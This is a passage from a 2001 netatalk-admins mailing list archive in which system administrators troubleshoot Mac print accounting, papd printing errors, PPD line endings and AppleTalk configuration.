	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA21354
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 12:16:23 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA21331
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 12:16:22 -0500 (EST)
Received: (qmail 6142 invoked by alias); 26 Jan 2001 17:16:39 -0000
Received: (qmail 6113 invoked by uid 0); 26 Jan 2001 17:16:36 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 26 Jan 2001 17:16:36 -0000
Message-ID: <3A71B139.D431AFF4@potsdam.edu>
Date: Fri, 26 Jan 2001 12:17:45 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Richard Goldberg <rickg@yorku.ca>
CC: netatalk-admins@umich.edu, Romeyn Prescott <prescor@potsdam.edu>
Subject: Re: print accounting
References: <Pine.SOL.4.31.0101261148290.1629-100000@sunlight.ccs.yorku.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


	We use a program called MacAdministrator (I'll be damned if I know the
URL for it, though... Romeyn, can you forward it too the list sometime?
Thanks) to authenticate all of our Macs at startup. This has the added
benefit of passing along the username to the print server when the job
is sent. It's proprietary, but very decent.

Richard Goldberg wrote:
> 
> Hi all,
> 
> We have just centeralized our print services to one sun machine,
> handeling unix mac and PC printing with LPRng, samba, and atalk.
> 
> We would like to be able to do some form of print accouting on our
> colout laser. LPRng has this feature, so accounting unix is simple.
> Samba requires a log on to print, so we can account windows. But all mac
> printing gets piped to lprng as user root (or whatever we set the "op"
> flag to in the papd.conf file).
> 
> If we are going to do accounting we need something better than this. We
> don't even need a username, the name of the mac that sent the print job
> would be fine.
> 
> Is there anyway to do this?
> 
> Thanks.
> 
> ***************************** **************************************
> *Rick Goldberg              * *                                    *
> *Graduate Student           * * "I never wanted to be average,     *
> *Computer Science Dept      * *   because when you are average you *
> *York University            * *   are just as far from the top as  *
> *Toronto, Canada            * *   you are from the bottom."        *
> *rickg@yorku.ca             * *              -Stan Cottrell-       *
> *www.cs.yorku.ca/~rickg     * *                                    *
> ***************************** **************************************
>      "If you don't invest very much, the defeat doesn't hurt,
>              But winning isn't very exciting."


-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Fri Jan 26 13:00:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA26533
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 13:00:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA19500
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 13:00:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA19483
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 13:00:11 -0500 (EST)
Received: from mcfeely.interaccess.com (from.interaccess.com [207.208.131.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA19445
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 13:00:10 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by mcfeely.interaccess.com (8.10.2/8.10.2) with ESMTP id f0QI08t04482
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 12:00:08 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 26 Jan 2001 12:00:09 -0600
Subject: Re: print accounting
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6971749.1017D%bucky@interaccess.com>
In-Reply-To: <3A71B139.D431AFF4@potsdam.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

MacAdministrator 2.0:
http://www.hi-resolution.com/MacAdministrator2/MA2Home.html

To look up any Mac software: http://www.versiontracker.com/
To look up any Linux software: http://freshmeat.net/

-B...

> From: Matthew Keller <kellermg@potsdam.edu>
> Date: Fri, 26 Jan 2001 12:17:45 -0500
> To: Richard Goldberg <rickg@yorku.ca>
> Cc: netatalk-admins@umich.edu, Romeyn Prescott <prescor@potsdam.edu>
> Subject: Re: print accounting
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 26 Jan 2001 12:23:40 -0500 (EST)
> 
> 
> We use a program called MacAdministrator (I'll be damned if I know the
> URL for it, though... Romeyn, can you forward it too the list sometime?
> Thanks) to authenticate all of our Macs at startup. This has the added
> benefit of passing along the username to the print server when the job
> is sent. It's proprietary, but very decent.
> 
> Richard Goldberg wrote:
>> 
>> Hi all,
>> 
>> We have just centeralized our print services to one sun machine,
>> handeling unix mac and PC printing with LPRng, samba, and atalk.
>> 
>> We would like to be able to do some form of print accouting on our
>> colout laser. LPRng has this feature, so accounting unix is simple.
>> Samba requires a log on to print, so we can account windows. But all mac
>> printing gets piped to lprng as user root (or whatever we set the "op"
>> flag to in the papd.conf file).
>> 
>> If we are going to do accounting we need something better than this. We
>> don't even need a username, the name of the mac that sent the print job
>> would be fine.
>> 
>> Is there anyway to do this?
>> 
>> Thanks.
>> 
>> ***************************** **************************************
>> *Rick Goldberg              * *                                    *
>> *Graduate Student           * * "I never wanted to be average,     *
>> *Computer Science Dept      * *   because when you are average you *
>> *York University            * *   are just as far from the top as  *
>> *Toronto, Canada            * *   you are from the bottom."        *
>> *rickg@yorku.ca             * *              -Stan Cottrell-       *
>> *www.cs.yorku.ca/~rickg     * *                                    *
>> ***************************** **************************************
>> "If you don't invest very much, the defeat doesn't hurt,
>> But winning isn't very exciting."
> 
> 
> -- 
> 
> Matthew Keller
> WebMaster, Interim Network Manager &
> Host Systems Analyst
> Computing & Technology Services
> Information Services Division
> State University of New York at Potsdam
> 
> Website: http://mattwork.potsdam.edu/
> PGP: http://mattwork.potsdam.edu/crypto/
> 


From netatalk.administrators-errors@umich.edu  Fri Jan 26 13:55:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28132
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 13:55:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00194
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 13:55:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00185
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 13:55:25 -0500 (EST)
Received: from sungod.ccs.yorku.ca (sungod.ccs.yorku.ca [130.63.236.104])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA00160
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 13:55:24 -0500 (EST)
Received: from sunlight.ccs.yorku.ca (sunlight.ccs.yorku.ca [130.63.236.85])
	by sungod.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id NAA26701
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 13:55:27 -0500 (EST)
Received: from localhost (rickg@localhost)
	by sunlight.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id NAA08007
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 13:55:27 -0500 (EST)
X-Authentication-Warning: sunlight.ccs.yorku.ca: rickg owned process doing -bs
Date: Fri, 26 Jan 2001 13:55:27 -0500 (EST)
From: Richard Goldberg <rickg@yorku.ca>
X-X-Sender:  <rickg@sunlight.ccs.yorku.ca>
To: <netatalk-admins@umich.edu>
Subject: printing problem
Message-ID: <Pine.SOL.4.31.0101261332020.6866-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi all,

My papd.conf file is set up as follows:
Colour Test:\
        :pr=test:\
        :op=lp:\
        :pd=/etc/atalk/ppd/lexmark_optrac710.ppd:

When I  try to print someting, I get an error on the mac saying
"Document could not be printed on printer "Printername" because of a
PostScript error". In the log file on my atalkd server I get:

Jan 26 13:31:27 <server> papd[9128]: getppdent: line too long
Jan 26 13:31:27 <server> papd[9128]: lp_init: lock: No such file or directory
Jan 26 13:31:27 <server> papd[9128]: lp_open failed

I thought the "line too long "error was due to the lf/cr issue between mac
and unix but I ran tr "\015" "\012" < orig.ppd > temp.ppd and the
error still comes up.

I know I can fix the other error (lp_init/lp_open) by changing the conf
file to
	:pr=|/usr/bin/lpr -Ptest:\
are there any disadvantages to this?

Are there any other ways to fix this problem?

Why does this problem happen?

Thanks
***************************** **************************************
*Rick Goldberg              * *                                    *
*Graduate Student           * * "I never wanted to be average,     *
*Computer Science Dept      * *   because when you are average you *
*York University            * *   are just as far from the top as  *
*Toronto, Canada            * *   you are from the bottom."        *
*rickg@yorku.ca             * *              -Stan Cottrell-       *
*www.cs.yorku.ca/~rickg     * *                                    *
***************************** **************************************
     "If you don't invest very much, the defeat doesn't hurt,
             But winning isn't very exciting."



From netatalk.administrators-errors@umich.edu  Fri Jan 26 15:32:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00871
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 15:32:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07383
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 15:32:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07312
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 15:32:40 -0500 (EST)
Received: from hatestheinternet.com (w1440524onmn.ttg.internet.look.ca [216.154.102.243])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA06919
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 15:32:18 -0500 (EST)
Received: from anya (jay@johanna.in.hatestheinternet.com [192.168.2.1])
	by hatestheinternet.com (8.10.2/8.10.2) with SMTP id f0QKKRA26926;
	Fri, 26 Jan 2001 15:20:31 -0500
Date: Fri, 26 Jan 2001 15:18:15 -0500
From: Jason Powell <thebull@look.ca>
To: Chris.Stone@jhuapl.edu
Cc: netatalk-admins@umich.edu
Subject: Re: atalkd: can't get interfaces, exitin
Message-ID: <20010126151815.A21557@johanna>
References: <0G7S00HBH2NMSD@dallas.jhuapl.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <0G7S00HBH2NMSD@dallas.jhuapl.edu>; from Chris.Stone@jhuapl.edu on Fri, Jan 26, 2001 at 11:18:53 -0500
X-Mailer: Balsa 1.0.0
Lines: 12


On 2001.01.26 11:18:53 -0500 Chris Stone wrote:
> I am running suse linux v6.4 for PPC on a blue and white g3. Can any one
> point me in the right direction?

Last I heard it would only work properly on a red or green G3.

Sorry, somebody had to say it :)
Jason

ps. Do you have the appletalk module installed? (modprobe appletalk)?  I
seem to recall getting that error when the module got unloaded.


From netatalk.administrators-errors@umich.edu  Fri Jan 26 17:55:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA04164
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 17:55:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA21859
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 17:55:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA21844
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 17:55:11 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA21832
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 17:55:10 -0500 (EST)
Received: from n34-13.berlin.snafu.de ([195.21.34.13] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.14 #1)
	id 14MHly-0006Xy-00
	for netatalk-admins@umich.edu; Fri, 26 Jan 2001 23:55:14 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id XAA22526
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 23:51:39 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: printing problem
Date: Fri, 26 Jan 2001 23:18:11 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.SOL.4.31.0101261332020.6866-100000@sunlight.ccs.yorku.ca>
In-Reply-To: <Pine.SOL.4.31.0101261332020.6866-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Message-Id: <01012623513902.04694@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA04164

On Fri, 26 Jan 2001, Richard Goldberg wrote:
> Hi all,
> 
> My papd.conf file is set up as follows:
> Colour Test:\
>         :pr=test:\
>         :op=lp:\
>         :pd=/etc/atalk/ppd/lexmark_optrac710.ppd:
> 
> When I  try to print someting, I get an error on the mac saying
> "Document could not be printed on printer "Printername" because of a
> PostScript error". In the log file on my atalkd server I get:
> 
> Jan 26 13:31:27 <server> papd[9128]: getppdent: line too long
> Jan 26 13:31:27 <server> papd[9128]: lp_init: lock: No such file or directory
> Jan 26 13:31:27 <server> papd[9128]: lp_open failed
> 
> I thought the "line too long "error was due to the lf/cr issue between mac
> and unix but I ran tr "\015" "\012" < orig.ppd > temp.ppd and the
> error still comes up.

Have you tried to setup the printer on your Mac after tr-ing your PPD file?
(and renaming the temp file? ;-))
Just to re-read the ppd file.

> 
> I know I can fix the other error (lp_init/lp_open) by changing the conf
> file to
> 	:pr=|/usr/bin/lpr -Ptest:\
> are there any disadvantages to this?

I had similar problems: job was queued but no daemon started.
The error messages were others:
	Jan 11 03:23:19 athlet papd[5733]: lp_conn_unix connect /dev/printer: Connection refused
	Jan 11 03:23:19 athlet papd[5733]: lp_print: lp_conn_unix: Connection refused
Just piping to lpr solved this.
Had no problems until now.

> 
> Are there any other ways to fix this problem?
> 
> Why does this problem happen?

Are the spool directory and its files owned by lp?
What is your printcap entry for test?

> 
> Thanks

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Jan 26 18:11:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA04509
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 26 Jan 2001 18:11:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA02198
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 26 Jan 2001 18:11:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA02188
	for netatalk.administrators-members@umich.edu; Fri, 26 Jan 2001 18:11:07 -0500 (EST)
Received: from kuku.excite.com (kuku-rwcmta.excite.com [198.3.99.63])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA02176
	for <netatalk-admins@umich.edu>; Fri, 26 Jan 2001 18:11:06 -0500 (EST)
Received: from blizzard.excite.com ([199.172.148.158]) by kuku.excite.com
          (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP
          id <20010126231111.KPAR12117.kuku.excite.com@blizzard.excite.com>;
          Fri, 26 Jan 2001 15:11:11 -0800
Message-ID: <10520349.980550671326.JavaMail.imail@blizzard.excite.com>
Date: Fri, 26 Jan 2001 15:11:11 -0800 (PST)
From: Joe Rhodes <JoeRhodes1974@excite.com>
To: Milivoj Ivkovic <mi@alma.ch>, vgb@enschede.dhs.org,
        Netatalk vragen <netatalk-admins@umich.edu>
Subject: Re: Very slow login and multiple logins
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Excite Inbox
X-Sender-Ip: 156.46.248.162

I've also run into this with OS 9 and an ASIP server.  When the ASIP server
got moved to a new IP, most of the OS 9 macs had some big problems on start
up.  

Besides removing everything from the "servers" folder in the system folder,
also make sure that you do not have the "Rember recently used servers" item
checked in the Apple Menu Items Options control panel.  It doesn't hurt to
also throuw away your AppleShare and File Sharing prefs.

One other thing I saw, some Macs were running Extensis Suitcase.  The person
who had set it up, had it auto load fonts that were not local, so when
Extensis would load, it would try and grab these fonts off the server and
therefore throw up a log in screen.

The way to find out if this is the case:  Try dragging the server to the
trash can once it does load and see if you get an error message about it
being in use.  If you've opened no other apps, than it may be a font in use
and it shold say so.

The good new is these three things have always fixed the problem of long log
in times.

Cheers!
-Joe Rhodes


On Tue, 23 Jan 2001 12:03:22 +0100, Milivoj Ivkovic wrote:

>  Same problem here, with MacOS 8.6!
>  
>  Did you find the solution?
>  
>  Where does the Mac store this login information for remounts at reboot
anyway?
>  
>  Hope someone has ideas...
>  
>  Milivoj
>  
>  >I am using Mac OS 9 and Netatalk-1.42b2+asun2.1.4-0 and
>  >are experiencing the follwing problem.
>  >
>  >I replaced a NT-server by a SuSE 7.0 box, some Mac's
>  >(with Mac os 8.x) can login quick and without a
>  >problem, other Mac's (with Mac OS 9) seem to freeze a
>  >few minutes and they request multiple logins by
>  >different loginnames.
>  >
>  >Even after canceling all logins and auto-logins they
>  >request a login, at last, after the Mac has started
>  >(after several minutes), I can login very quickly! and
>  >it requests only one loginname.
>  >
>  >I tried this with and without -notcp but this doesn't
>  >seem to help. Anyone?
>  >
>  >With friendly regards,
>  >
>  >Vincent
>





_______________________________________________________
Send a cool gift with your E-Card
http://www.bluemountain.com/giftcenter/



From netatalk.administrators-errors@umich.edu  Sat Jan 27 11:00:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA18816
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 27 Jan 2001 11:00:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA23549
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 27 Jan 2001 11:00:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA23545
	for netatalk.administrators-members@umich.edu; Sat, 27 Jan 2001 11:00:32 -0500 (EST)
Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA23534
	for <netatalk-admins@umich.edu>; Sat, 27 Jan 2001 11:00:30 -0500 (EST)
Received: from fwd06.sul.t-online.com 
	by mailout02.sul.t-online.com with smtp 
	id 14MXmE-00064O-09; Sat, 27 Jan 2001 17:00:35 +0100
Received: from server.linau.de (320064501249-0002@[62.157.71.69]) by fmrl06.sul.t-online.com
	with esmtp id 14MXm2-225TOAC; Sat, 27 Jan 2001 17:00:22 +0100
Received: from [192.168.2.2] (pulsar.linau.de [192.168.2.2])
	by server.linau.de (8.9.3/8.9.3) with ESMTP id QAA16867
	for <netatalk-admins@umich.edu>; Sat, 27 Jan 2001 16:00:08 +0100
Mime-Version: 1.0
Message-Id: <p04310100b698882c8310@[192.168.2.2]>
In-Reply-To: 
 <Pine.SOL.4.31.0101261332020.6866-100000@sunlight.ccs.yorku.ca>
References: 
 <Pine.SOL.4.31.0101261332020.6866-100000@sunlight.ccs.yorku.ca>
X-Mailreader: Eudora 4.3.1 Macintosh
Date: Sat, 27 Jan 2001 15:19:33 +0100
To: <netatalk-admins@umich.edu>
From: Christian Schmidt <ChriSchmiLi@gmx.de>
Subject: Re: printing problem
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net

Richard Goldberg wrote:

>  When I  try to print someting, I get an error on the mac saying
>  "Document could not be printed on printer "Printername" because of a
>  PostScript error". In the log file on my atalkd server I get:
>
>  Jan 26 13:31:27 <server> papd[9128]: getppdent: line too long
>  Jan 26 13:31:27 <server> papd[9128]: lp_init: lock: No such file or directory
>  Jan 26 13:31:27 <server> papd[9128]: lp_open failed

I always got the same message although my printer worked fine.
I got rid of it by transferring the PPD file via ftp as ASCII Text 
onto the server.
=> It was a problem resulting from the different LF/CR handling.

>  I thought the "line too long "error was due to the lf/cr issue between mac
>  and unix but I ran tr "\015" "\012" < orig.ppd > temp.ppd and the
>  error still comes up.

Try ftp-ing it from the mac to the server and choose "ASCII Text" 
transfer mode.

>  I know I can fix the other error (lp_init/lp_open) by changing the conf
>  file to
>  	:pr=|/usr/bin/lpr -Ptest:\
>  are there any disadvantages to this?

No, I don't think so.

hth,
Christian
-- 
Made with a Macintosh...
ChriSchmi@t-online.de
http://home.t-online.de/home/chrischmi/

From netatalk.administrators-errors@umich.edu  Mon Jan 29 01:23:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA04623
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 29 Jan 2001 01:23:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA21365
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 29 Jan 2001 01:23:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA21343
	for netatalk.administrators-members@umich.edu; Mon, 29 Jan 2001 01:23:08 -0500 (EST)
Received: from SouthFayette.org (SouthFayette.org [192.204.53.100])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA21311
	for <netatalk-admins@umich.edu>; Mon, 29 Jan 2001 01:23:07 -0500 (EST)
Received: from [130.49.74.105] (dhcp74-105.pittsburgh.resnet.pitt.edu [130.49.74.105])
	by SouthFayette.org (8.11.2/8.11.2) with ESMTP id f0T6N5u03292
	for <netatalk-admins@umich.edu>; Sun, 28 Jan 2001 22:23:06 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 29 Jan 2001 01:23:49 -0500
Subject: unsubscribe brooks-list@causenfx.org
From: Brooks Roy <brooks-list@causenfx.org>
To: <netatalk-admins@umich.edu>
Message-ID: <B69A76A5.370%brooks-list@causenfx.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

unsubscribe brooks-list@causenfx.org

/*
  Brooks M. Roy - brooks@causenfx.org, stream@mindless.com
  http://brooks.causenfx.org (http://brooks.causenfx.org/resume)
  Phone 412.445.4644 | Pager 412.686.1764 (http://page.causenfx.org)
  AOL Instant Messanger: streamFX | ICQ #: 18459792
*/


From netatalk.administrators-errors@umich.edu  Mon Jan 29 01:28:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA04709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 29 Jan 2001 01:28:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA00418
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 29 Jan 2001 01:28:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA00397
	for netatalk.administrators-members@umich.edu; Mon, 29 Jan 2001 01:28:43 -0500 (EST)
Received: from prusa.dkm.cz (ms2.dkm.cz [62.24.64.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA00346
	for <netatalk-admins@umich.edu>; Mon, 29 Jan 2001 01:28:41 -0500 (EST)
Received: from server (b36.dkm.cz [62.24.66.36])
	by prusa.dkm.cz (8.9.3/8.9.3) with SMTP id HAA31995
	for <netatalk-admins@umich.edu>; Mon, 29 Jan 2001 07:36:01 +0100
Message-ID: <001501c089bd$7c918630$0100a8c0@server>
From: "AREA - Tomķček" <areatom@volny.cz>
To: <netatalk-admins@umich.edu>
Subject: please of help
Date: Mon, 29 Jan 2001 07:34:05 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

Dear,
>
> could you help me, how can I configure SUSE Linux  7.0 with NETATALK as
> printserver for Macintoshes, please?
>
> p.s. I have Linux already configured as fileserver and it's work fine
>
> thank a lot
>
> Tomicek, Czech Republic




From netatalk.administrators-errors@umich.edu  Mon Jan 29 12:53:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18472
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 29 Jan 2001 12:53:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA19436
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 29 Jan 2001 12:53:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA19419
	for netatalk.administrators-members@umich.edu; Mon, 29 Jan 2001 12:53:06 -0500 (EST)
Received: from ic3.ithaca.edu (ic3.ithaca.edu [147.129.1.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA19332
	for <netatalk-admins@umich.edu>; Mon, 29 Jan 2001 12:53:04 -0500 (EST)
Received: from meteor (meteor.ithaca.edu [147.129.30.3])
 by ic3.ithaca.edu (PMDF V5.2-31 #38007)
 with ESMTP id <01JZHAM3GCC2004Q3S@ic3.ithaca.edu> for
 netatalk-admins@umich.edu; Mon, 29 Jan 2001 12:50:15 EDT
Date: Mon, 29 Jan 2001 12:48:05 -0500
From: kbaker3 <kbaker3@ic3.ithaca.edu>
Subject: Wireless Appletalk
Sender: kbaker3 <kbaker3@ic3.ithaca.edu>
To: netatalk-admins@umich.edu
Message-id: <3A6A02F5@meteor>
MIME-version: 1.0
X-Mailer: WebMail (Hydra) SMTP v3.61.07
Content-type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: 7bit
X-WebMail-UserID: kbaker3
X-EXP32-SerialNo: 00002348

Anyone gotten netatalk running on a wireless network?  I am using the lucent 
cards Wavelan/IEEE in ad-hoc mode...  I want my router to act as the head end 
appletalk router defining networks and zones...  I am guessing the broadcast 
is what is screwing it up...  I don't even get zones...  I took a working 
atalkd config and just changed interfaces...  now it doesn't work on the 
wireless... here is my config
eth2 -router -net 50-55 -address 50.1 -zone "Stuff" -zone "Other Stuff"

(note the options might not be the exact terms  I am not at the box...)

Any help?


From netatalk.administrators-errors@umich.edu  Mon Jan 29 15:03:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA01591
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 29 Jan 2001 15:03:42 -0500 (EST)
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25] (may be forged))
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id NAA04677
